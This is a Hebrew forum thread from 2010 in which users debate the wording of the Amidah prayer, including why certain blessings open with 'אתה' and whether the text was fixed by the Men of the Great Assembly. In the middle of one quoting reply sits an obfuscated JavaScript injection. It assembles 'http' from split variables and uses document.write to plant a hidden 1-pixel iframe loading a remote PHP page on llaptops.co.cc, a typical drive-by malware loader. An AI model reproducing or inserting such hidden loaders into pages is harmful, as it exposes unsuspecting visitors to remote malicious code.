| נשלח ב-28/12/2010 18:39 |
 |
| |
עיון תפילה
א. מטרת פתיחת האשכול היא לשתף את כולם בדיון בעיונים וביאורים בתפילה, אנא הגיבו והשתתפו, -כמה שיותר!!!
ב. אפתח בשאלה מעניינת: ברוב תפילות השנה הברכה הרביעית בתפילת עמידה פותחת במילה "אתה", אתה חונן, אתה אחד, אתה בחרתנו, וכו', מלבד בתפילת שחרית ומוסף של שבת ומוסף של ר"ח.
מי שיודע או חשב על רעיון להסבר תופעה זו אנא ישמיע את דבריו.
|
|
|
|
| נשלח ב-28/12/2010 18:59 |
|
| |
מעמיק חקר
ברוך הבא אל הפורום!
הרעיון לספק ביאורי תפילה הוא חשוב מאד. אך שים לב שיש לפורום כללים ותקנות. אחד מהכללים הוא שמשתתף חדש פונה לקבלת אישור לאשכול שהוא רוצה לפתוח.
אמנם כיון שכבר פתחת, נשאירנו.
ואשתדל לענות על שאלתך. דא עקא (=אבל הבעיה) שלא ברור לי מה יש כאן שטעון בירור.
האם קשה לך איך פונים ב"אתה" אל ה' מלך העולם?
האם קשה לך מדוע ברכה או אמירה בתפילת 18 מתחילה בלשון "אתה"?
ועוד:
משמע משאלתך שיש כוונת מכוון בעיצוב הברכה הראשונה לאחר שלוש הראשונות המהוות סט בפני עצמו, וכוונת מכוון זו כוללת שימוש במילה "אתה" במידת האפשר. אך הנחה זו מנין?
אני משער שתשובתי האחרונה אינה ממש משמחת. הרי ידוע ומפורסם שיש שני סוגים של תשובות. יש תשובה שעונה לשאלה בכך שהיא מעלה איזה חידוש מעניין, והכל שבעי רצון, השואל שמצא מרגלית והעונה שזכה לחדש והשומעים שגילו דבר חדש. ויש תשובות שאינן עונות לשאלה אלא שוללות את הבסיס שלה. וחוששני שאף תשובתי כאן מעין זו. לדעתי, מדוע שנניח שיש כוונת מכוון של חכמים בבחירת המילה הראשונה "אתה"? והטוען שיש כאן כוונה, צריך לחפש מהי ואיזה סוג של כוונה יכולה להיות כאן.
זה מצריך להזדקק לטעמים שנבחרו נושאים ומילים לתפילת 18, וזה אכן נושא גדול ורב לעסוק בו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
 |
|
|
|
|
| נשלח ב-28/12/2010 19:27 |
|
| |
מעמיק חקר ברוך בואך.
גם אני חושב כמוך שיש לדקדק ככל שניתן במילות התפילה, שהרי נכתבה ע"י ק"כ אנשי כנה"ג ובהם נביאים וחכמים מופלגים, והיא מליאה בכוונות נגלות ונסתרות עד אין קץ. צריך לזכור שנוסח אחיד זה אמור לשרת את תפילותיהם של מיליוני בני אדם לאורך אלפי שנים, ואין ספק שהוא נעשה במאמץ הגדול ביותר שיכולים היו החכמים להשקיע בו.
ביחס לשאלתך יש להבחין בין שחרית שבת ובין תפילות המוסף באופן כללי.
שלושת התפילות בשבת מיוחדות בכך שאין שונות זו מזו, מה שלא מצאנו בימות החול ובחגים השונים.
לכן צריכים קודם להבין את ענייני השבת לעומת שאר הימים.
תפילות המוספין הן תוספת לימות החול (גם יו"ט נקרא חול ביחס לשבת, ויש בו היתר מלאכה לאוכל נפש וכו').
לכן צריך להבין מה עניין הההוספה הזאת, מה הגדר של יו"ט (ור"ח) ביחס לימות החול.
אחרי שהמבנה הזה מתבאר ניתן לבדוק מה משמעות הפניה "אתה" אל הקב"ה באופן כללי, ולמה היא קיימת או נעלמת בתפילות השונות.
בהצלחה באשכולך החדש.
|
|
|
|
| נשלח ב-28/12/2010 20:17 |
|
| |
שותף
אתה בטוח שנוסח התפילה שלנו יצא מתחת אנשי כנסת הגדולה?
_________________
|
|
|
|
| נשלח ב-28/12/2010 21:02 |
|
| |
אני גם ושב שצריך לבטל את כל הסידורים והנוסחות ולקיים נוסח אחיד, אחרת זה ממש "לא תתגודדו"
_________________
|
|
|
|
| נשלח ב-28/12/2010 21:04 |
|
| |
א. ל-מיימוני, לא הצגתי שום הכרח לכך שישנה משמעות או כוונה מסוימת בפתיחה בתיבה "אתה", הצגתי תופעה מסוימת שיתכן והיא במכוון ויתכן גם שאינה.
ב. על כל פנים אני סבור כי יש לדקדק בלשון נוסח התפילה, ואם תופעה יש כאן הרי שיתכן ויש לה משמעות, ויתכן גם שלא.
ג. אציג כאן עוד הערה בברכת יוצר אור: "זורע צדקות מצמיח ישועות" - משמעות הדברים היא שהצמח עליו מדובר כישועה, צומח מהזרע שהוא הצדקה; אם כן, צריך להבין, א, איך תצמח ישועה מן הצדקה (ואין הכוונה כאן למצות צדקה כמבואר למעיין). ב, אם הנחה זו שהישועה היא בבחינת "צמח" לצדקה נכונה, צריך להבין למה יקרא הא-ל מצמיח" ישועה. [יתכן אמנם שהטעם הוא מכיון שהוא המהוה את הבריאה בכל עת וכשם שצמח הצומח מן הזרע גם הצמיחה מתהוית מכוחו ית' וה"ה גם כאן, אבל לענ"ד אין זה מספיק]
|
|
|
|
| נשלח ב-28/12/2010 21:56 |
|
| |
צענע
צודקת כתמיד -וגם השאלות שנשאלו כאן כבר נשאלו בחלקן
|
|
|
|
| נשלח ב-29/12/2010 00:08 |
|
| |
| בעלבעמיו כתב: |  | שותף
אתה בטוח שנוסח התפילה שלנו יצא מתחת אנשי כנסת הגדולה? _________________
|
|
אם נפש החיים בטוח בזה מנין לי להסתפק ?
|
|
|
|
| נשלח ב-29/12/2010 00:47 |
|
| |
מעמיק חקר
אני מבקש להציג עמדה ששונה באופן קיצוני משל שותף-סוד (הוא שותף פשט).
אני סבור, ויש לדברים רקע נרחב, שאין לדקדק יותר מהצורך.
התפילות שלנו אינן מיועדות שנדקדק במילותיהן כל כך. אם תלמד את ההיסטוריה של התפילה, ותפריד אותה לחלקיה, תגלה כי לרוב המילים בתפילת 18 אין ייחוס מיוחד ואפשר להחליפן באחרות.
כאשר אנשי כנסת הגדולה תיקנו לנו את הנוסח, הם לא עמדו על כל מילה בדווקא, אלא ביקשו להזכיר את הנושאים הכלליים שכל אדם יזדקק להם. למשל, הם לא הבדילו בין "חכמה" "בינה" "השכל" "דעת". עובדה שיש נוסחאות שונות לכל אלו במשך הדורות ובכל מיני מקומות. המטרה שלהם היתה שנדע להחשיב את דעת התורה וללמוד אותה.
בדוגמאות שהצגת בעצמך: איני יודע אם יש משמעות מיוחדת ל"מצמיח ישועה". כשאני כותב "איני יודע" כוונתי שאני סבור שאין משמעות כזו. זה ביטוי יפה, מליצי, ולכן מי שחיבר אותו בחר בו. כמדומה שהוא גם מבוסס על לשון הנביא. וגם אצל הנביא זה מה שנקרא היום "מטאפורה", ביטוי יפה ולא יותר מזה.
כמובן, יש מי שיאמין שיש בשמים מדרגות והשפעות, ומילים שונות מתייחסות לדרגות שונות. ואיך אפשר להוכיח שזה לא נכון? אך לדעתי העוסקים בכך, כלשון אחד מרבותינו, "משתגעים שיגעון ארוך". משקיעים במשחקים לשוניים ומנסים להבדיל הבדלות שמקורן בדמיון או בנסיון לכפות משמעויות במקום שהן לא נמצאות.
יותר מכך, החיפוש אחרי משמעויות אלו נותן לאדם שעוסק בהן תחושה שהוא מגלה סודות, עומד על איזו רמת מציאות נסתרת שרק מעטים זוכים לה, והריהו מאמין שהוא זוכה להתקרב לה' ולעשות רצונו המיוחד בכך שהוא לומד נסתרות. ואינו יודע שהוא עסוק בדמיונות. דמיונות שאדם עלול לבזבז עליהם את כל חייו ועוד לחשוב שזכה למה שלא זכו אלא מעטים...
איני בא לומר שאי אפשר למצוא משמעות יפה בביטויים כאלו ואחרים. למשל, השימוש במילה "אתה" בתפילה בא לדעתי להזכיר לנו שה' קרוב אלינו, ולמרות שהוא כה רחוק, מה שנקרא "טרנצנדנטי" (=מעבר, חיצוני לכל), הוא גם מתנהג אלינו כאב אוהב ובתור כזה אנו יכולים לפנות אליו, והוא עצמו שמח על כך. כל זה מונח בלשונות של "אתה" בתפילה ובכל הביטויים שבהם אנו כבן המתרפק על אביו.
אבל חיפוש אחרי מציאויות עליונות שהעולם נברא כהשתקפותן? דרגות שמהן מורידים שפע? אלו, לדעתי, ויסלח לי שותף סוד היקר, אך ורק דמיונות. והיו גם היו בתולדות עמנו כאלו שנפלו במלכודת הזו ואכן הוציאו ימיהם ושנותיהם בחיפוש משמעויות כאלו ולא ידעו שאין זה אלא משחק מילים.
והנראה לפי הבנתי שלי כתבתי.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-29/12/2010 08:07 |
|
| |
| מיימוני כתב: | |
אני מבקש להציג עמדה ששונה באופן קיצוני משל שותף-סוד (הוא שותף פשט).
אני סבור, ויש לדברים רקע נרחב, שאין לדקדק יותר מהצורך.
התפילות שלנו אינן מיועדות שנדקדק במילותיהן כל כך. אם תלמד את ההיסטוריה של התפילה, ותפריד אותה לחלקיה, תגלה כי לרוב המילים בתפילת 18 אין ייחוס מיוחד ואפשר להחליפן באחרות.
כאשר אנשי כנסת הגדולה תיקנו לנו את הנוסח, הם לא עמדו על כל מילה בדווקא, אלא ביקשו להזכיר את הנושאים הכלליים שכל אדם יזדקק להם. למשל, הם לא הבדילו בין "חכמה" "בינה" "השכל" "דעת". עובדה שיש נוסחאות שונות לכל אלו במשך הדורות ובכל מיני מקומות. המטרה שלהם היתה שנדע להחשיב את דעת התורה וללמוד אותה.
בדוגמאות שהצגת בעצמך: איני יודע אם יש משמעות מיוחדת ל"מצמיח ישועה". כשאני כותב "איני יודע" כוונתי שאני סבור שאין משמעות כזו. זה ביטוי יפה, מליצי, ולכן מי שחיבר אותו בחר בו. כמדומה שהוא גם מבוסס על לשון הנביא. וגם אצל הנביא זה מה שנקרא היום "מטאפורה", ביטוי יפה ולא יותר מזה.
כמובן, יש מי שיאמין שיש בשמים מדרגות והשפעות, ומילים שונות מתייחסות לדרגות שונות. ואיך אפשר להוכיח שזה לא נכון? אך לדעתי העוסקים בכך, כלשון אחד מרבותינו, "משתגעים שיגעון ארוך". משקיעים במשחקים לשוניים ומנסים להבדיל הבדלות שמקורן בדמיון או בנסיון לכפות משמעויות במקום שהן לא נמצאות.
יותר מכך, החיפוש אחרי משמעויות אלו נותן לאדם שעוסק בהן תחושה שהוא מגלה סודות, עומד על איזו רמת מציאות נסתרת שרק מעטים זוכים לה, והריהו מאמין שהוא זוכה להתקרב לה' ולעשות רצונו המיוחד בכך שהוא לומד נסתרות. ואינו יודע שהוא עסוק בדמיונות. דמיונות שאדם עלול לבזבז עליהם את כל חייו ועוד לחשוב שזכה למה שלא זכו אלא מעטים...
איני בא לומר שאי אפשר למצוא משמעות יפה בביטויים כאלו ואחרים. למשל, השימוש במילה "אתה" בתפילה בא לדעתי להזכיר לנו שה' קרוב אלינו, ולמרות שהוא כה רחוק, מה שנקרא "טרנצנדנטי" (=מעבר, חיצוני לכל), הוא גם מתנהג אלינו כאב אוהב ובתור כזה אנו יכולים לפנות אליו, והוא עצמו שמח על כך. כל זה מונח בלשונות של "אתה" בתפילה ובכל הביטויים שבהם אנו כבן המתרפק על אביו.
אבל חיפוש אחרי מציאויות עליונות שהעולם נברא כהשתקפותן? דרגות שמהן מורידים שפע? אלו, לדעתי, ויסלח לי שותף סוד היקר, אך ורק דמיונות. והיו גם היו בתולדות עמנו כאלו שנפלו במלכודת הזו ואכן הוציאו ימיהם ושנותיהם בחיפוש משמעויות כאלו ולא ידעו שאין זה אלא משחק מילים.
והנראה לפי הבנתי שלי כתבתי. ******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
כמובן שיש לי הרבה מה לומר, אבל לצערי לא כעת.
בקצרקצרה- כולנו מהמרים. כל אחד מנצל את חייו הקצרים כדי להפיק את המקסימום, וכל אחד בוחר לו גם משמעות של המקסימום הזה. כל אחד רואה בשני כמי שמבזבז את חייו על מטרות חסרות ערך. ובקיצור, כל אחד והאמת שלו.
חוץ מאשר לומר "אולי לא" לא מצאתי בדבריך ראיה או הסבר. יתכן שמיהרתי לקרוא, ובערב אבחין בעומקים נוספים.
|
|
|
|
|
| נשלח ב-29/12/2010 08:12 |
|
| |
שותפיסוד
כלל נקוט בידי - ברגע שאדם מדבר על האמת שלו - שיתעסק בה בעצמו, זו אינה ברת העברה לאחר (אם בכלל קיימת). מה שניתן לדון עליו זו רק האמת (לא של אף אחד)
|
|
|
|
| נשלח ב-29/12/2010 08:58 |
|
| |
שותף
תעיין בסידורי ראשונים ותראה שדבריך צריכים עיון.
שלא לדבר על נוסח התפילה של ארץ ישראל, וכדאי מאוד לעיין בספרו המופתי של עזרא פליישר, תפילה ומנהגי תפילה ארץ ישראליים בתקופת הגניזה.
גם מהגמרא ניתן להסיק שלא היה נוסח קבוע, כי הגמרא מדברת על חובות אזכרה שונות ואינה מפרטת נוסח קבוע (בזה אני הקטן חולק על פליישר ואכמ"ל) . אותו תלמיד שירד לפני ר' חנינא ואמר הא-ל הגדול והוסיף שבחים לא ננזף על קדושת המטבע אלא על ריכוי בשבחו של מקום.
יש גם הוכחות לכך מהראשונים אך אין כעת באפשרותי לחפש.
|
|
|
|
|
| נשלח ב-29/12/2010 09:17 |
|
| |
כיהודה ועוד לדברי בעב
הגמ' לקראת סוף מסכתות ר"ה ויומא עשירה בדיונים של אמוראים ותנאים אודות נוסח תפילות ר"ה ויו"כ. למיטב זכרוני זה היה אחר תקופת כנה"ג
|
|
|
|
| נשלח ב-29/12/2010 09:25 |
|
| |
למיימוני היקר,
האמת, שאני גם סבור כמוך ברמת העיקרון של הדברים, ולא אחזור על הדברים.
אלא, שהשאלה האם לדקדק בתיבות התפילה, לעניות דעתי, אינה שייכת ותלויה בדווקא בשאלה האם יש כאן כוונות נסתרו? או האם אנו מורידים שפע באמצעות הגדה של מילים גרידא? וכאלה, אכן לדידנו אין לנו אלא בקשה ותפילה אל בורא העולם.
אמנם שעדיין אני סבור כי יש לדקדק בתיבות.
הוי אומר, שגם אם נניח שמצמיח ישועה היא מטאפורה, עדיין עצם העובדה שנקט הכותב מטאפורה זו ולא אחרת מורה כי התכויןן לדמות, להמשיל או להדגים דוקא בתוכן הנמצא התיבה זו בלשון הקודש, והרי ודאי לכאורה שלא התכוין להמשיל זאת לזריעה אם כתב מצמיח, וכמו כן בשאר הענינים.
השאלה אם לדקדק במילים אם לאו, אינה תלויה אפוא רק ברמת הכתיבה של כותב המאמר וההבנה שיש לו בנבכי השפה, ומכיון שבזה לדעתי יש הרבה למחברי התפילה יהיו מי שיהיו, לדעתי יש הרבה מה לדקדק בלשונם. [ואכן אני מסכים שלפעמים אפשר לטעון על התעקשות בעלמא, אבל בתור הכללה לדעתי יש והרבה מה לדקדק].
רבינו הרש"ר הירש לא התייחס בכל כתביו לתורת הקבלה, ואעפ"כ לא היה מדקדק כמוהו בהיסטוריה האחרונה עד כדי הוצאת תאוריות שלמות מדקדוקי הלשון שהם נכונים כשלעצמם גם בהעדר עולמות נשגבים מכוסים ונעלמים.
על כל פנים תודה על ההתייחסות, בברכה
|
|
|
|
|
| נשלח ב-29/12/2010 23:57 |
|
| |
מעמיק
נכון שזה חמוד שר"ח שחל בשבת מוספו כן מתחיל ב"אתה" יצרת... [מינוס * מינוס = פלוס]
|
|
|
|
|
